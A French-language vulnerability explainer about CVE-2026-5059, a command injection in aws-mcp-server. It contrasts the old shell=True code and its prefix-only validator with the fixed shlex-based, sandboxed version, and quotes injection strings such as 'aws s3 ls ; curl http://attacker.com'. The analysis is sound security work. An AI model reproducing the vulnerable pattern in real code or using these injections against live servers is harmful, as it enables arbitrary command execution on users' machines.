
Preuve de concept pour CVE-2026-5059, une injection de commande dans aws-mcp-server via shell=True et une validation incomplète, avec analyse du code vulnérable et corrigé.
Où se trouve CVE-2026-5059 dans le code ? La vulnérabilité se situe dans deux fichiers qui fonctionnent ensemble :
Fichier 1 : tools.py — La cause racine L'ancienne version utilisait shell=True dans execute_piped_command() : python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) Lorsque shell=True, le shell du système d'exploitation interprète la chaîne complète, y compris ;, &&, ||, les backticks — ainsi tout ce qui suit ; s'exécute comme une commande distincte.
Fichier 2 : security.py — La protection incomplète Le validateur vérifiait uniquement que la commande commençait par aws : python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe Ainsi aws s3 ls ; curl http://attacker.com passait la validation — commence par aws — puis shell=True exécutait les deux parties.
Pourquoi la version actuelle (v1.7.0) est différente En examinant le code réel aujourd'hui, les deux problèmes ont disparu : python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation Et security.py a été entièrement supprimé — remplacé par le bac à sable de l'OS (Landlock/bwrap/Seatbelt). Le ; est désormais inoffensif : "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess reçoit ';' comme argument littéral pour aws → AWS CLI l'ignore, aucune seconde commande ne s'exécute
Résumé en une ligne Version vulnérableVersion actuelle v1.7.0Exécutionshell=True + chaîneshell=False + listeValidationstartswith("aws") uniquementbac à sable au niveau de l'OS ; traitementExécuté par le shellTraité comme texte littéral Le CVE a été déposé contre l'ancienne version. ZDI l'a publié comme 0-day parce que le fournisseur a rejeté le rapport — mais l'architecture avait déjà abandonné shell=True avant la publication du CVE.